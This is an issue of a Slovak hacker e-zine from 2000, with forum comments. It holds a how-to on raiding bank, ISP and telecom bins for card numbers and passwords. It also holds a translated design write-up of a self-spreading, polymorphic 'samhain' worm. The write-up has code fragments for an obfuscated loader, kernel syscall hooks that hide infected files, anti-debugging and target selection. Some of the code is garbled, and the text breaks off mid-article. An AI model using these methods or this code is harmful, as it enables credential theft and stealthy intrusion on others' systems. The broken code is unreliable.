    tento nas domcek z kociek jedneho dna spadne. Tento rok som si uzil posunuteho
    klimatickeho pasma az-az.


    Pripomeniem niektore Sci-fi vizie buducnosti obsahujuce technologie z minuleho
    clanku "Preco nas buducnost nepotrebuje",
    su tam samozrejme nacrtnute problemy, ktore by sme pri takom
    Sci-fi vyvoji mohli ocakavat: Ghost in The Shell (1995, film),
    Deus Ex (2003, hra),
    System Shock 2 (1999, hra), Total Annihilation (1996, hra, v deme bol
    niekolkostranovy dokument vizii nanotechnologii, zial som ho nenasiel :().
    V tychto informacnych
    pramenoch su do detailu rozpracovane a aplikovane nanotechnologie,
    v pripade System Shock 2 dokonca subnanotechnologie
    (skladanie samotnych atomov ;)).
    Ked porovnate rozpocet uvedenych zdrojov s rozpoctom mnohych novinarov,
    bude vam jasne, ktory z nich mal dovod zaoberat sa futuristickou problematikou
    detailne.


    Nastastie: Zivot nie je Sci-fi, je iny, ani lepsi ani horsi, jednoducho iny.
    A trochu realnejsi a rozumnejsi ako nase predstavy buducnosti.


    Zaver?


    Aj na ty si sucastou tvorby buducnosti.

    TY len rob to, co sam najlepsie vies.


    P.S.: Je totiz dost dobre mozne, ze raz ta buducnost bude velmi, velmi
    potrebovat.

    P.S.2 Kto iny by mal zachranit svet, ked nie ty?


    Game over


    Oniko, oniko (zavinac) hysteria (bodka) sk


    navrat na obsah

    co ty na to ? board




    0000010100000001000001020061730200647819
    maniac
     maniac      19.03.2004 - 15:02:50 [2K] , level: 1, UP   NEW

    000001010000000100000102006173020064781908639227
    cyberpunker
     cyberpunker      27.06.2019 - 11:11:53 , level: 2, UP   NEW
    v archive chybaju posledne prielomy

    00000101000000010000010200617302006478190863922708639362
    maniac
     maniac      27.06.2019 - 16:58:29 , level: 3, UP   NEW
    mas ich niekde ulozene? mozme ich sem hodit.. :)

    0000010100000001000001020061730200647819086392270863936208639504
    cyberpunker
     cyberpunker      28.06.2019 - 07:26:26 , level: 4, UP   NEW
    Tu som našiel oproti kyberii ešte 23, 24
    http://prielom.webatlas.cz/

    Ale pamätám si, že nejaký vyšiel po pár rokoch. Bolo to po 24. ? netušim

    000001010000000100000102006173020064781908639227086393620863950408639759
    maniac
     maniac      28.06.2019 - 20:44:49 [1K] , level: 5, UP   NEW
    po 25 - ok nahodil som ich tu uz

    000001010000000100000102006173020064781908254338
    koss
     koss      22.11.2016 - 20:47:28 [5K] , level: 2, UP   NEW
    a ja som len tak pozrel, či už nie je, a ľaľa http://www.prielom.sk
    to az tak ? :0)

    00000101000000010000010200617302006478190825433808254600
    rooter
     rooter      23.11.2016 - 10:40:28 , level: 3, UP   NEW
    tvl! jake dynamic duo :]

    00000101000000010000010200617302006478190825433808254513
    maniac
     maniac      23.11.2016 - 07:17:26 , level: 3, UP   NEW
    lol

    000001010000000100000102006173020064781907869088
    Linkman
     Linkman      19.03.2015 - 15:01:58 [1K] , level: 2, UP   NEW
    co tak spravit novy prielom? Cisto z nostalgie :)

    00000101000000010000010200617302006478190786908807869660
    maniac
     maniac      20.03.2015 - 10:41:30 , level: 3, UP   NEW
    myslim ze stafetu tychto aktivit prebrali aktivnejsi borci , sice sa v kuloaroch hovorilo o novom prielome, ale velku sancu tomu nedavam, treba sa poobzerat po hackerspaceoch, ctjb sessionoch a podobne - doba sa zmenila, nove grupy, nove napady a tak :)

    000001010000000100000102006173020064781901224830
    maniac
     maniac      26.11.2004 - 14:22:17 , level: 2, UP   NEW
    fuha toto tu jak vzniklo

    00000101000000010000010200617302006478190122483001348184
    Rej
     Rej      20.01.2005 - 02:45:48 , level: 3, UP   NEW
    takac~

    0000010100000001000001020061730200619273
    pajkus
     pajkus      03.03.2004 - 13:41:14 , level: 1, UP   NEW

    0000010100000001000001020061730200619272
    pajkus
     pajkus      03.03.2004 - 13:41:04 , level: 1, UP   NEW




    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #15, 07.09.00 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/





    obsah


    intro

    trashdiving po slovensky

    DOYOULOVEME??

    bratislavsky heker a jeho manifesto

    kybersaman [dokoncenie]

    ako vykradnut banku

    exploitovanie cez plt a got







    intro



    bingo, novy prielom.
    po dlhsej odmlke sposobenej polrocnou drinou sme tu
    zas. vlastne co to hovorim.. aka odmlka.. ked pouzivam terminy ako "oneskorenie", "odmlka"
    a podobne, tak tym nechtiac navodzujem atmosku, akoze by mal prielom vychadzat povinne v
    pravidelnych intervaloch.

    hovno s makom

    ak bude po tomto este dalsie cislo, berte to ako mile prekvapenie..


    hysterka je totiz v stave existencnej krizy a s nou aj prielom. je na case decentne
    zrusit dnesnu podobu hysterky este kym jej jednotlive casti (arxiv, prielom,
    cZert...) tvorene v obdobi 1994-97 posobia "milo folklorne" a nie trapne detinsky.


    myslim ze hysterka splnila svoj ciel - spojit ludi s podobnym konickom. mnoho projektov,
    www stranok ci kamaratstiev priamo vzniklo v prostredi hysteria.sk, alebo ich
    aspon hysterka ovplyvnila. ale moja snaha najst novych ludi ktori by krmili samotnu
    hysterku novymi napadmi az, taku odozvu nenasla. server skapina hardverovymi problemami a
    nedostatkom cerstveho obsahu.


    priatelia a pribuzni pacienta... pripravte sa na najhorsie..


    pajkus, 03.09.00, bratislava





    trashdiving po slovensky


    trashdiving (resp. trashing) - vyberanie smetnych kosov, ktore sa nachadzaju
    pri rozlicnych instituciach, za ucelom ziskania zaujimavych informacii, je napr.
    v usa velmi popularna cinnost. kazda kvalitnejsia session alebo con skonci
    obvykle pri odpadkovych kosoch at&t alebo ma bell. v nasich stredoeuropskych
    podmienkach je to vsak cinnost takmer vobec nepraktikovana, ak nepocitam mna a
    par mne blizkych ludi, nepocul som o nikom, kto by sa nou zaoberal. co je vsak
    urcite na skodu, pretoze trashovanie je proces nadovsetko zabavny.


    na akciu (odporucam tak raz za 3-4 tyzdne) sa treba poriadne pripravit. zakladom
    su rukavice, bez ktorych sa, ak nie ste naozajstni humusaci, nezaobidete. ale
    nezabudnite ani na minimalne tri vacsie igelitove tasky, do ktorych vytrashovany
    material nahadzete, obvykle ste v casovej tiesni. baterka taktiez nie je na
    zahodenie, pretoze predsa len, trashovat za bieleho dna, to je prisilna kava aj
    pre anarchistickejsich jedincov.


    dalsou dolezitou castou je vyber institucii, ktorym sa hodlate pozriet na zubok.
    toto vsak v nasich slovenskych ubohych podmienkach ani nemusite pripravovat
    vopred, pretoze aj bratislava je malomesto, ktore sa da za jeden vecer v pohode
    takmer kompletne obehat. treba sa zamerat najma na banky (mozny nalez vypisov z
    uctov, na ktorych su cisla kreditnych kariet), internetovych providerov (obvykle
    sa vytrashuju maximalne dialup hesla, niekedy sa postasti aj nejaky ftp alebo
    telnet pass) a pravdaze telekomunikacie (mozne zaujimave info, manualy k
    ustredniam, cisla na ustredne, hesla). fantazii sa medze nekladu, institucii je
    dost, netreba sa obmedzovat. ide predsa o informacie a napr. zaujimave sumy sa
    najdu aj za fondom narodneho majetku. to, ze tieto institucie skartovace takmer
    vobec nepouzivaju, je u nas na slovensku samozrejmost. prinajhorsom je dokument
    roztrhnuty na dve polovice.


    ked uz sa nachadzate pri vyhliadnutej budove, obehnete si ju dookola a dufate,
    ze najdete smetny kos, banky a vacsi provideri maju obvykle smetne kose dobre
    skryte v svojom areali, resp. v podzemi, takze s tym sa mozete hned rozlucit, ak
    nehodlate mat problemy s bezpecnostnou sluzbou. naproti tomu, telecom vas casto
    nesklame. maju sice okolo svojho arealu nejaky provizorny mur alebo plot, avsak
    vysoky akurat tak, ze sa da preskocit jednym tahom. celemu procesu to dodava
    urcitu davku adrenalinu. mensi provideri sa casto nachadzaju v budovach spolocne
    s inymi firmami a kancelariami, smetny kos je najcastejsie pred budovou na
    hlavnej ulici. to je tiez celkom zaujimavy zazitok, ked okolo vas chodia ludia
    a auta a vy sa hrabete v smetnom kosi. otvorte kos s odpadkami, pozrite, ci su
    dnu papiere, ak ano, tak naberajte vsetko, co najrychlejsie ako mozete, pravdaze
    v rukaviciach, do vopred pripravenych igelitovych tasiek. zajdite za roh na
    nejake tmave miestecko a vsetko pekne pretriedte.


    triedenie je zazitok sam o sebe. pri nakladani vsetkeho mozneho do igelitovych
    tasiek sa nevyhnete aj rozlicnym nechcenym objektom. ked si myslite, ze obal od
    cokolady je humus, tak triedenie prenechajte radsej niekomu inemu. este aj
    zhnita bananova supka je slaby odvar oproti nedojedenemu kelimku od tresky,
    v ktorom sa nachadza damska vlozka. nepytajte sa ma, co to robilo medzi
    klientskymi zmluvami jedneho nemenovaneho providera.


    necakajte od trashdivingu velke zazraky. sem tam najdete nejake to zaujimave
    info, pri nutnej davke stastia aj par hesiel, ktore si pri troche sikovnosti a
    vole, mozete zadovazit aj pomocou svojho unixoveho umenia. trashing je o niecom
    inom. trashing je o akcii v terene, o adrenalinovom preskakovani plotov, o
    hnusnom a odpornom humuse, co vam postupne prechadza cez ruky a o radosti z
    toho, ze nakoniec z tych vsetkych sraciek ste vytiahli aj nieco uzitocne.
    trashdiving je alternativna zabavka pre alternativnych ludi.



    hromi, hromi(at)hysteria.sk


    navrat na obsah




    DOYOULOVEME??


    po nedavnej afere s cervom ILOVEYOU, ktora otriasla hlavne medialnym svetom
    isty pan zalewski (pre mnohych, ktori sleduju bugtraq nie neznamy) usudil, ze
    nebude tak celkom od veci ludom ukazat, ze tento sposob nie je to, coho by sme
    sa mali bat a publikoval v uz spominanej konferencii zaujimavy prispevok,
    popisujuci projekt, na ktorom pracoval. odovodnil to slovami:


    "media, podporovane altavista "expertmi", vykreslili apokalypticku viziu
    destrukcie sposobenu hlupym m$ outlook/vbs cervom, nazvanym "ILOVEYOU". absurdne
    odhady - 10 milionov dolarov vynalozenych na "odstranovanie skod", specialne
    ked sa blizsie pozriete na rychlostou svetla rastuce hodnoty tychto spolocnosti
    na trhu, pride mnohym ludom zle. trapna vbs aplikacia, ktora sama o sebe sa
    nedokaze sirit bez luzerskej klikni-na-mna! interakcie a je limitovana na jeden
    operacny system, urceny pre stolove pocitace... cerv, ktory posle sameho seba
    ludom vo vasom e-mailovom adresari a vo svojej originalnej verzii znici mp3
    subory na disku. a vy ho nazyvate nebezpecnym? prestante si robit srandu.."


    uz davnejsie ho zaujimalo, ci je take tazke vytvorit naozaj nebezpecneho
    internetoveho cerva, ktory by dokazal byt skodlivejsi ako znamy morrisov cerv
    spred par rokov. spolu s par priatelmi svoj projekt nazvali "samhain". dali si
    za ciel sedem kriterii, ktore musi splnat:


    1: portovatelnost - cerv musi byt nezavisly na architekture a musi dokazat
    existovat na rozlicnych operacnych systemoch (nielen unixoveho typu ale
    i dos/win).
    2: neviditelnost - cerv musi mat implementovane maskovacie techniky na skrytie
    sameho seba v zijucom systeme a zostat neodhaleny tak dlho ako to len bude
    mozne.
    3: nezavislost - cerv sa musi dokazat sirit svojpomocne, bez akejkolvek
    uzivatelskej interkacie, vyuzivajuc vstavanu databazu exploitov.
    4: ucenlivost - cerv by mal byt schopny ucit sa nove exploitovacie techniky za
    behu, vypustenim jedinej kopie upraveneho cerva si ostatne pomocou
    specialneho komunikacneho kanalu (nazvyme ho wormnet) stiahnu dokonalejsiu
    verziu.
    5: integrita - jednotlivi cervi i cela struktura wormnetu by mala byt tazko
    vypatratelna a upravitelna/zneskodnitelna. (sifrovanie, znackovanie)
    6: polymorfnost - cerv by mal byt uplne polymorfny, so ziadnou konstantnou
    castou kodu, kvoli zamedzeniu odhalenia.
    7: pouzitelnost - cerv musi byt schopny realizovat zadane ciele - napr.
    nainfikovat system, stiahnut si instrukcie a ked je misia ukoncena,
    jednoducho sa zo vsetkych systemov vyparit.


    na tychto siedmych principoch polozili celu svoju pracu, tento text opisuje
    idey, koncepty a uryvky implementacie. v ziadnom pripadne nema sluzit ako
    teroristicka prirucka a nebol zverejneny na to, aby pomohol ludom napisat ich
    vlastny podobny kod. bol napisany preto, aby ukazal seriozne potencialne riziko,
    ktoremu nemozeme virtualne zabranit alebo ho zastavit, nie je iba v cisto
    hypotetickej rovine. casti kodu, ktore su zverejnene su iba zlomkove a casto
    pochadzaju z ranych verzii.


    "ale nezabudajte - funkcny model bol napisany. a ten je smrtelne nebezpecnym
    mechanizmom, ktory moze byt pouzity na velmi zle veci. pravdepodobne sme neboli
    prvi, ktori o tom premyslali a pokusili sa ho napisat. to je to, co nas
    znepokojuje..."


    "zima 1998, traja znudeni ludia kdesi v strednej europe. posadte sa a
    relaxujte."


    1: portabilita


    toto je pravdepodobne najdolezitejsia vec - nechceme predsa kod, ktory bude
    bezat iba na windowsoch, linuxe alebo solarise, alebo este horsie, ktory bude
    schopny fungovat iba na x86 platforme. uloha ma jednoduche riesenie, ked sa
    rozhodnete vytvorit kod v platformovo nezavislej forme. ako to moze byt
    docielene? vacsina systemov ma prekladac jazyka c. tak mozeme sirit cerva vo
    forme zdrojoveho kodu s jednoduchym desifratorom (povedzme, ze to bude shellovy
    skript).


    ale pockat, niektore (nie je ich tak vela) systemy nemaju prekladac cecka. co
    mozeme v takejto situacii urobit? pouzitim wormnetu, cerv pocas infikacie moze
    poziadat ostatnych clenov wormnetu o skompilovany binarny kod pre danu
    platformu. detailnejsi popis wormnetu je v sekcii 4. i tak, binarka bude
    obsahovat prilozeny zdrojovy kod na dalsie infekcie. popis fazy infikovania je
    v sekcii 3.


    prva verzia dekryptora vyzerala takto:


    const char decryptor[]="#!/bin/bashnX=/tmp/.$RANDOM$$n(dd if="$0" of="
    "$X.f~ ibs=1 skip=x01x01x01x01 count=x02x02x02x02x02x02 ;dd if="
    ""$0" of=$X.b~ ibs=x03x03x03x03x03 skip=1;echo "int x;main(int c,"
    "char**v){char a[99999];int i=read(0,a,99999);for(;x<i;)a[x++]-=atoi(v[1]"
    ");write(1,a,i);}" >$X.d~;test -x /tmp/.a012382~||cc -x c $X.d~-o/tmp/."
    "a012382~;/tmp/.a012382~ x04x04x04 $X.gz~;gzip -cd <$X.gz~>$X.c"
    "~;rm -f $X.f~ $X.d~;cc -O3 -x c $X.c~ -o $X~;chmod 755 /tmp/.a012382~)&>"
    "/dev/null;test -x "$0"&&exec $X~ "$0" $@n";


    pouziva velmi jednoduchu (po bajtoch sa avysujucu) "enkrypciu" zdrojoveho
    kodu so specifickou inkrementalnou hodnotou (dekryptor sa modifikuje v
    zavislosti od zvolenej hodnoty - x01, x02, x03 a x04 sa menia sifrovacou
    rutinou). tak isto, tento konstantny dekryptor je kazdy raz prepisany za
    pouzitia jednoducheho polymorfneho mechanizmu (sekcia 6) aby sa vyvaroval
    konstantnych retazcov. neskor sme modifikovali enkrypcnu rutinu na nieco
    o trochu silnejsie - v skratke, iba robi ovela zlozitejsie odhalenie cerva
    v neaktivnej forme.


    ako mozete vidiet, tento dekryptor (alebo jeho rana verzia ukazana vyssie) nie
    je prilis portovateny - co ak nemame bash, prekladacm gzip alebo podobne
    utilitky? to bol jeden z dovodov, preco sme sa rozhodli spojit cervy do
    wormnetu - ak sa vyslany kod nespoji spat k materskej kopii a neoznami svoju
    cinnost, ciel nie je oznaceny za infikovany a wormnet je poziadany o
    predkompilovanu binarku pre danu architekturu (za predokladu, ze uz tato
    architektura bola nekde na svete infikovana).


    sebastian napisal virovy kod, ktory bol schopny sa sirit na win/dos platforme
    s c-prekladacom a unixovych systemoch bez akejkolvek modifikacie alebo
    interkacie. instaloval sameho seba ako trojskeho kona do prekladaca (modifikoval
    vkladane hlavickove subory, aby vlozil svoje instrukcie do kazdej skompilovanej
    binarky). vola sa califax a bol vyvinuty pocas prac na projekte samhain ako
    cvicenie na ukazku, ze taketo medziplatformove skoky su mozne. nechcem pouzivat
    sebastianove zdrojove kody bez jeho povolenia, vsetko co som tym chcel povedat
    je, ze to spravil na menej ako 415 riadkov kodu. califax nebol nijako spojeny s
    projektom sahain, pretoze sme nechceli infikovat winbloze z ideologickych
    dovodov :P


    2: neviditelnost


    po naburani systemu, cerv nemusi vzdy dosiahnut rootovske prava, takze prvorade
    je implementovat techniky, ktore by boli schopne ho zamaskovat, vydavat za iny
    proces v systeme a stazit zneskodnenie pokym je sanca ziskat vyssie privilegia
    (detaily v sekcii 3). takisto sme sa zhodli, ze by bolo dobre, aby sa tazko
    debugoval/krokoval cerv aj v neaktivnom stave - v sekcii 5 najdete podrobnosti
    o anti-debugovacich technikach.


    nas maskovaci kod pre neprivilegovany rezim pozostava z nasledujucich casti:


    maskovanie: prejde si /proc, vyberie mena najcastejsie beziacich procesov
    a zmeni svoje meno tak, aby vyzeral ako jeden z nich,
    cyklicky sa opakujuce zmeny: menit svoje meno (takisto aj nazov suboru) spolu
    s pid tak casto ako sa len da, vzdy mat vytvoreny zrkadlovy proces v ocakavani
    moznosti zabitia rodicovskeho alebo dcerskeho procesu sikovnejsimi utilitkami.


    nas ciel bolo docielit, aby bolo takmer nemozne (s beznymi nastrojmi) "chytit"
    proces samotny, vseky /proc parametre (pid, exe name, argv[0]) sa menia a i ked
    je jeden z nich dostinuty, mame zrkadlovy proces. nasledujuci komentar pochadza
    z README libworm pre unixove systemy:


    -- odstrihnute z README --

    a) anti-skenovacie rutiny

    nasledujuce rutiny su urcene na odhalenie "anti-cervej techniky", ako napriklad
    kill2, pripadne hocico ine, prefikanejsie. pouzivaju sa pred volanim fork():

    int bscan(int lifetime);

    bscan robi "povrchne skenovanie" za pouzitia iba dvoch dcerskych procesov.
    zivotnost moze byt nastavena na hodnoty okolo 1000 mikrosekund. navratove
    hodnoty:
    0 - ziadne anti-cervie techniky neboli zistene, pouzit ascan alebo wscan.
    1 - primitivne techniky zistene (ako "kill2"), pouzit kill2fork()
    2 - prefikane (alebo hrube) techniky odhalene, trpezlivo pockat

    int ascan(int childs,int lifetime);

    ascan produkuje "vyspelejsie skenovanie" pouzivajuc dany pocet dcerskych
    procesov (hodnoty medzi 2 a 5 su postacujuce). testuje prostredie
    vykonstruovanim falosneho utoku forkbombou. vysledky su ovela presnejsie:
    0 - ziadne anti-cervie techniky nezistene, pouzit wscan.
    1 - anti-cervie utility v operacnom rezime.

    int wscan(int childs,int lifetime);

    wscan funguje podobne ako ascan ale pouziva system "chodiaceho procesu".
    vyzera chybovo, vzdy vracia '1' bez akehokolvek dovodu ale je to taktiez
    najlepsia odhalovacia technika. navratove hodnoty:
    0 - ziadne anti-cervie techniky nezistene.
    1 - beziace anti-cervie utility.

    int kill2fork();

    toto je alternativna verzia volania fork(), navrhnuta na oklamanie hlupeho
    anti-cervieho programoveho vybavenia (pouzije sa, ked bscan vrati 1).
    navratova hodnota: taka ako fork().

    b) maskovacie rutiny

    nasledujuce rutiny su navrhnute za ucelom maskovania a skrytia aktualneho
    procesu:

    int collect_names(int how_many);

    collect_names vytvori tabulku s poctom zaznamov "how_many". tato (pristupuje
    sa k nej cez "cmdlines[]" rozhranie) obsahuje mena procesov v systeme.
    navratova hodnota: pocet zozbieranych procesov.

    void free_names();

    tato funkcia uvolni miesto alokovane funkciou collect_names ked uz viac nie je
    potrebne vyuzivat cmdlines[].

    int get_real_name(char* buf, int cap);

    ziskame nou skutocne meno spustitelnej binarky pre aktualny proces do buf
    (kde cap znamena maximalnu dlzku)

    int set_name_and_loop_to_main(char* newname,char* newexec);

    tato funkcia zmeni viditelne meno procesu na nove (moze byt zvolene pomocou
    cmdlines[]), potom zmeni meno binarky na "newexec" a vrati sa na zaciatok
    funkcie main(). nezmeni pid. ak je "newexec" NULL, binarka sa nepremenuje.
    navratova hodnota: nenulova, ak nastane chyba.

    poznamka: premenne, stack a vsetko ostatne sa zresetuje. treba pouzit iny
    sposob (rury, subory, mena suborov, mena procesov) na vymenu dat zo starej
    binarky do novej.

    int zero_loop(char* a0);

    tato funkcia vracia 1 ak je main() dosiahnuta prvy krat alebo 0, ak uz bola
    pouzita set_name_and_loop_to_main(). argv[0] je vkladany ako parameter. iba
    jednoducho skontroluje, ci real_exec_name prezentuje argv[0].

    -- EOF --

    tieto rutiny su relativne slabe a pouiztelne iba na kratkodobe skryvanie
    procesov. cielom je cim skor ziskat rootovske privilegia (opat diskutovane
    neskor). potom dosiahneme ziadaneho vysledku. pokrocile skryvanie procesov
    je vysoko zavisle od systemu, obvykle riesene cez sledovanie systemovych volani.
    vytvorili sme zdrojove kody pre univerzalne moduly urcene na skryvanie na zopar
    systemoch, avsak nie su funkcne na vsetkych platformach, ktore je samhain
    schopny napadnut. techniky tu pouzite su zalozene na dobre znamom principe
    ukrytych modulov.


    nas linux 2.0/2.1 (2.2 a 2.3 jadra v tom case este neboli zname), modul vyuziva
    techniku popisanu neskor v prispevku nazvanom "abtrom", ktory sa objavil v
    bugtraqu od 28. augusta 1999, sledovanie systemovych volani.
    sebastian napisal skryvacie techniky v zavislosti na suboroch (na vracanie
    povodneho obsahu infikovanych suborov), pokial som ja vyvinul techniky na
    ukryvanie procesov a interface cerva. modul sledoval volania open, lseek,
    llseek, mmap, fstat, stat, lstat, kill, ptrace, close, read, unlink, write
    a execve.


    na ukazkum nove volanie llseek moze vyzerat takto:


    int new_llseek(unsigned int fd,unsigned int offset_high,
    unsigned int offset_low,int *result,unsigned int whence) {
    retval=old_llseek(fd,offset_high,offset_low,result,whence);
    if (retvalfiles->fd[fd])) return retval;
    if (S_ISREG(file->f_inode->i_mode) || S_ISLNK(file->f_inode->i_mode))
    if (is_happy(fd) && file->f_pos < SAMLEN) file->f_pos += SAMLEN;
    return retval;
    }

    v tomto pripade sme chceli vynechat kod loaderu samhain na zaciatku suboru.
    funkcia is_happy() sa pouziva na identifikaciu infikovanych suborov.
    nanestastie, musi tiez overovat dlzku loaderu - nezabudajte, je dynamicky
    generovany. toto je cast kodu z is_happy() pouzita na zistenie tejto dlzky
    z nasej rutiny dekryptora:


    // Determine where ELF starts...
    file->f_pos=0;
    BEGIN_KMEM
    r=file->f_op->read(file->f_inode, file, buf,sizeof(buf));
    END_KMEM
    // Groah! We have to write out own atoi... Stupido ;-)
    znaki=0;
    while (znaki!=TH && ++v0) {
    BEGIN_KMEM
    read(x,b,1);
    END_KMEM
    close(x);
    if (!b[0]) return -ESRCH;
    }
    return old_ptrace(req,pid,addr,dat);
    }


    takisto musime ukryt sietove spojenia wormnetu a poslanych / prijatych paketov
    wormnetu, aby sme sa vyhli odhaleniu pomocou tcpdump, sniffit atd.


    to je vsetko, nic nezname. podobny kod bol napisany pre par inych platforiem.
    pozrite si napr. afharm alebo sebastianove Adore moduly pre nazornu ukazku
    implementacie skryvacich technik.


    3: nezavislost + 4: ucenlivost


    wormnet. magicke slovo. wormnet je vyuzivany na distribuovanie upgradnuteho
    kodu, modulov (napr. nove exploity) a na vzajomnu komunikaciu cervov pri
    ziadostiach o predkompilovanu binarnu formu. komunikacna schema skutocne nie je
    az taka zlozita, pouzivaju sa tcp streamy a broadcast spravy v nich. spojenie
    nie je stale. samhain vyuziva styri druhy ziadosti:


    vyrozumenie o infekcii: vytvori sa spojenie so svojim materskym cervom ak
    infekcia prebehne uspesne (ziadne spojenie = zlyhanie)
    ziadost o obnovenie: dosiahne sa opatovnym infikovanim systemu (v tomto
    pripade uz zahniezdeny worm verifikuje podpis na novo prichadzajucom cervovi,
    a ak je binarka novsieho data, pomocou execve() vymeni beziaci proces), potom
    posle svojim dcerskym cervom informaciu obsahujucu casove informacie o novej
    verzii.
    potvrdenie obnovenia: ak je casova informacia navratena po ziadosti novsia ako
    aktualne beziaceho cerva, moze tuto informaciu potvrdit a stiahnut si novu
    verziu cez ten isty tcp stream. potom by si mal overit podpis kodu, a
    eventuelne vymenit beziaci proces novym, potom poslat informaciu dalsim cervom
    nizsie polozenymi v hierarchickej strukture wormnetu.
    ziadost o binarny kod pre danu platformu: poslanim ziadosti vsetkym spojenym
    cervom (pouzity je ttl mechanizmus) s popisom typu platfomy, systemu a verzie,
    tak isto aj ip adresy a specifikacie portu. tato ziadost je poslana (so
    znizenym ttl) ostatnym cervom, sposobujuca wormnet broadcast, prvy cerv, ktory
    moze poskytnut pozadovany binarny kod, odpoveda pripojenim k cielovemu hostu
    na specifikovany port a cerv, ktory vyslal ziadost, spojenie akceptuje (iba
    raz). akekolvek dalsie ziadosti o pripojenie (moze sa stat, pokym nevyprsi
    ttl) budu autmaticky odmietnute. po spojeni sa posle vhodna binarka, ktora
    je prijata infekcnymi rutinami. cerv posle ziadost s ttl priblizne 5, neskor,
    pri zlyhani, moze poslat dalsie, ktore zvysuje o 5 a bude sa pokusat 3-5 krat,
    nemali sme ziaden napad ohladne optimalnych hodnot.


    pakety su "kryptovane" (opat, nic silne) klucom priradenym specifickemu spojeniu
    (generovane z materskej ip adresy, ktoru cerv ziska pri infekcii). typ je
    popisany jedno-bitovym polom, nasleduju ho infomracia o velkosti a data alebo
    retazce ukoncene nulovym znakom, pripadne i ttl/casove informacie (zalezi od
    typu spravy).


    struktura spojeni wormnetu moze vyzerat lubovolne a je limitovana iba poctom
    spojeni na jedneho cerva. spojenia su iniciovane od dcerskeho procesu smerom
    k materskemu, obvykle obchadzajuc firewally a maskaradovaci softver.


    pri infekcii sa dcerskemu procesu vygeneruje kratky zoznam predchadzajucich
    materskych procesov. ak uz matersky proces obsluhuje prilis vela spojeni v danom
    case, novy proces sa spoji s inym cervom zo zoznamu.


    3
    |
    |
    3 ----- 2 ---- 3 ----- 4 ------- 5 ------- 6
    | / | |
    | / | |
    | / | | mozna struktura wormnetu.
    1 ------------ 2 ----- 3 6 cisla reprezentuju poradie,
    / v akom boli hostitelia
    / infikovani. vyznaceny host "3"
    / sa z nejakeho dovodu nemohol
    ---- 3 ------ 4 spojit so svojim materskym
    | procesom, preto nadviazal
    | spojenie s hostom "1", ktoreho
    | mal poznaceneho v zozname.
    4


    ok, poviete si, a co exploity? exploity su modularne (pripojene k telu cerva)
    a rozdelene do dvoch kategorii - lokalne a remotne. chceme byt nezavisli na
    platforme, tak prihliadame na chyby filesystemu, chyby ako napriklad -xkbdir
    v xwindows a vlozime len zopar buffer overflowov, hlavne pre remote pristup
    (ale rozhodli sme sa pouzit aj par chyb ako remote pine mailcap exploit a
    podobne...kod je naozaj majstrovskym kusom shelloveho skriptu :)


    obidva typy, aj remote aj lokalne exploity su zoradene podla ucinnosti.
    exploity, ktore maju najvyssiu uspesnost sa skusaju ako prve, menej ucinne
    sa presuvaju na koniec. tento zoznam dcerske procesy dedia.


    ah, sirenie. obete su volene pomocou monitorovania aktivnych sietovych
    spojeni. servery sa vyberu nahodne z tohto zoznamu a cerv sa ich pokusi
    napadnut. v pripade uspechu je server zaradeny do zoznamu uspesne napadnutych
    hostov a uz nie je viac napadany. v pripade neuspechu sa cerv nepokusa o dalsi
    vypad az pokym sa neobjavi nova, vylepsena verzia. samozrejme, interny zoznam
    je konecny a obcas sa moze stat, ze server je napadnuty znovu (ak to nie je
    nas potomok a nie je prave napojeny) ale koho to trapi - pokus bude ignorovany
    alebo prebehne upgrade, v zavislosti na casovych znackach.


    tento kod je pouzity na ziskanie dalsieho ciela (zo zoznamu aktivnych spojeni)


    void infect_host(int addr) {
    struct hostent* h;
    int (*exp)(char*);
    int i=0,n=0,max=VERY_SMALL;
    if ((0x7F & addr)==0x7F) return; // vynechaj 127.* subnet :-)
    h=gethostbyaddr((void*)&addr,4,AF_INET);
    if (is_host_happy(h->h_name)) return; // vo wormnete?
    for (i=0;remote[i].present;i++) remote[i].used=0;
    while ((max=VERY_SMALL)) {
    n=-1;
    for (i=0;remote[i].present;i++)
    if (!remote[i].used && remote[i].hits>=max) { max=remote[i].hits;n=i; }
    if (nh_name));
    if (i>0) break;
    }
    }


    5: integrita


    najdolezitejsou vecou v zivote cerva je nedat sa chytit. chceme si byt isti, ze
    nie je lahke nas vystopovat/debugovat - chceme urobit reverzne inzinierstvo co
    najtazsim. nechceme ukazat nase interne protokoly wormnetu, komunikaciu s
    modulom v jadre a detekcne techniky pouzivane samotnymi cervami na kontrolovanie
    samych seba navzajom, atd. styri veci:


    skryt vsetko: pozri sekciu 2
    hashovat, kryptovat, bit sa: pozri sekcie 1 a 4
    nenechat sa chytit: sekcia 2
    znemoznit debugovanie i v pripade, ze sa nemozeme skryt!


    pouzili sme zopar anti-debugovacich technik, vratane chyb zavislych na
    aplikaciach (chyby v strace pri zobrazovani niektorych vadnych parametrov pri
    systemovych volaniach, chyby v gdb pri parsovani elf hlaviciek, obchadzanie
    ramcovych pointrov, samomodifikujuci sa kod a tak dalej), ako aj zopar
    univerzalnych anti-debugovacich rutin, ktore su volane dost casto (nie su
    narocne na cas). toto je jedna z nich:


    void kill_debug(void) {
    int x,n;
    n=getppid();
    if (!(x=fork())) {
    x=getppid();
    if (ptrace(PTRACE_ATTACH,x,0,0)) {
    fprintf(stderr,
    "nnn**************************************n"
    "*** NAOZAJ SA NECHCEM DAT STOPOVAT ***n"
    "**************************************nnn");
    ptrace(PTRACE_ATTACH,n,0,0);
    kill(x,9);
    }
    usleep(1000);
    ptrace(PTRACE_DETACH,x,0,0);
    exit(0);
    }
    waitpid(x,&n,0);
    return;
    }


    ako som uz povedal, cervie moduly su podpisane. najprv su pouzite jednoduche
    podpisy, neskor pouzivaju jednoduchy system privatnych klucov (naozaj nic tazke,
    co by sa nedalo cracknut, kluc je relativne kratky ale je to dostatocne zlozite
    pre amaterov) tymto je zabezpecene, ze nahradzame nasho cerva skutocncym cervom,
    nie podvrhnutyn zabijakom.


    6: polymorfizmus


